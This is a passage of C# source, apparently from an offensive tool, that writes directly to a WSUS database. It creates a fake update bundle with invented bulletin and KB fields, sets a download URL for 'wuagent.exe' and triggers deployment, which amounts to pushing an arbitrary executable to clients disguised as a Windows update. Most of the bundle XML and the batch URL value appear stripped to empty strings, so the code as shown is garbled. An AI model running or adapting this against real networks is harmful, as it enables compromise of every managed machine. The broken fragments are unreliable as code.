104 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,4,N'<LocalizedProperties><Language>en</Language><Title>" + Create.UpdateTitle + @"</Title><Description>" + Create.UpdateDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + Create.UpdateURL + @"</MoreInfoUrl><SupportUrl>" + Create.UpdateURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'");
105 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + Create.UpdateRating + @""" IsBeta=""false""><SupportUrl>" + Create.UpdateURL + @"</SupportUrl><SecurityBulletinID>" + Create.UpdateMSRC + @"</SecurityBulletinID><KBArticleID>" + Create.UpdateKB + @"</KBArticleID></ExtendedProperties>',NULL");
106 | sqlCommFun.CommandText = sbXMLBundle.ToString();
107 | try
108 | {
109 | Console.WriteLine("PrepareXMLBundletoClient");
110 | sqldrReader = sqlCommFun.ExecuteReader();
111 | sqldrReader.Close();
112 | return true;
113 | }
114 | catch (Exception e)
115 | {
116 | Console.WriteLine("\r\nFunction error - FbPrepareXmlBundleToClient.");
117 |
118 | Console.WriteLine($"Error Message: {e.Message}");
119 | return false;
120 | }
121 | }
122 | public static bool FbInjectUrl2Download(SqlCommand sqlCommFun)
123 | {
124 | SqlDataReader sqldrReader;
125 | StringBuilder sbDownloadURL = new StringBuilder();
126 | string sDownloadURLexec = string.Empty;
127 | if (Server.bSSL == true)
128 | {
129 | sDownloadURLexec = @"https://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe";
130 | }
131 | else if (Server.bSSL == false)
132 | {
133 | sDownloadURLexec = @"http://" + Server.sComputerName + ":" + Server.iPortNumber + "/Content/wuagent.exe";
134 | }
135 | else
136 | {
137 | return false;
138 | }
139 |
140 | sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N' '");
141 | sqlCommFun.CommandText = sbDownloadURL.ToString();
142 | try
143 | {
144 | Console.WriteLine("InjectURL2Download");
145 | sqldrReader = sqlCommFun.ExecuteReader();
146 | sqldrReader.Close();
147 | return true;
148 | }
149 | catch (Exception e)
150 | {
151 | Console.WriteLine("\r\nFunction error - FbInjectUrl2Download.");
152 |
153 | Console.WriteLine($"Error Message: {e.Message}");
154 | return false;
155 | }
156 | }
157 | public static bool FbDeploymentRevision(SqlCommand sqlCommFun)
158 | {
159 | SqlDataReader sqldrReader;
160 | StringBuilder sbDeployRev = new StringBuilder();
161 | sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + Create.iRevisionID);
162 | sqlCommFun.CommandText = sbDeployRev.ToString();
163 | try
164 | {
165 | Console.WriteLine("DeploymentRevision");
166 | sqldrReader = sqlCommFun.ExecuteReader();
167 | sqldrReader.Close();
168 | return true;
169 | }
170 | catch (Exception e)
171 | {
172 | Console.WriteLine("\r\nFunction error - FbDeploymentRevision.");
173 |
174 | Console.WriteLine($"Error Message: {e.Message}");
175 | return false;
176 | }
177 | }
178 | public static bool FbPrepareBundle(SqlCommand sqlCommFun)
179 | {
180 | SqlDataReader sqldrReader;
181 | StringBuilder sbPrepareBund = new StringBuilder();
182 | System.Data.DataTable dtDataTbl = new System.Data.DataTable();
183 |
184 | sbPrepareBund.AppendLine(@"declare @iImported int");
185 | sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int");
186 | sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'");
187 | sbPrepareBund.AppendLine(@"");
188 | sbPrepareBund.AppendLine("\t" + @"");
189 | sbPrepareBund.AppendLine("\t" + @"");
190 | sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateURL + @"");
191 | sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateMSRC + @"");
192 | sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateKB + @"");
193 | sbPrepareBund.AppendLine("\t" + @"");
194 | sbPrepareBund.AppendLine("\t" + @"");
195 | sbPrepareBund.AppendLine("\t\t" + @"");
196 | sbPrepareBund.AppendLine("\t\t\t" + @"en");
197 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateTitle + @"");
198 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateDescription + "");
199 | sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.");
200 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @"");
201 | sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @"");
202 | sbPrepareBund.AppendLine("\t\t" + @"");
203 | sbPrepareBund.AppendLine("\t" + @"");
204 | sbPrepareBund.AppendLine("\t" + @"");
205 | sbPrepareBund.AppendLine("\t\t" + @"");
206 | sbPrepareBund.AppendLine("\t\t\t" + @"");
207 | sbPrepareBund.AppendLine("\t\t\t\t" + @"");
208 | sbPrepareBund.AppendLine("\t\t\t" + @"");
209 | sbPrepareBund.AppendLine("\t\t" + @"");
210 | sbPrepareBund.AppendLine("\t\t" + @"");
211 | sbPrepareBund.AppendLine("\t\t\t" + @"");
212 | sbPrepareBund.AppendLine("\t\t" + @"");
213 | sbPrepareBund.AppendLine("\t" + @"");
214 | sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL");
215 | sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID");
216 | sqlCommFun.CommandText = sbPrepareBund.ToString();
217 |
218 | try
219 | {
220 | sqldrReader = sqlCommFun.ExecuteReader();
221 | dtDataTbl.Load(sqldrReader);
222 | Create.iRevisionID = (int)dtDataTbl.Rows[0][1];
223 |
224 | Console.WriteLine("PrepareBundle");
225 | Console.WriteLine("PrepareBundle Revision ID: {0}", Create.iRevisionID);
226 |
227 | if (Create.iRevisionID == 0)
228 | {
229 | Console.WriteLine("Error creating update bundle");
230 | sqldrReader.Close();
231 | return false;
232 | }
233 |
234 | sqldrReader.Close();
235 | return true;
236 | }
237 | catch (Exception e)
238 | {
239 | Console.WriteLine("\r\nFunction error - FbPrepareBundle.");
240 |
241 | Console.WriteLine($"Error Message: {e.Message}");
242 | return false;
243 | }
244 | }
245 | }
246 |
--------------------------------------------------------------------------------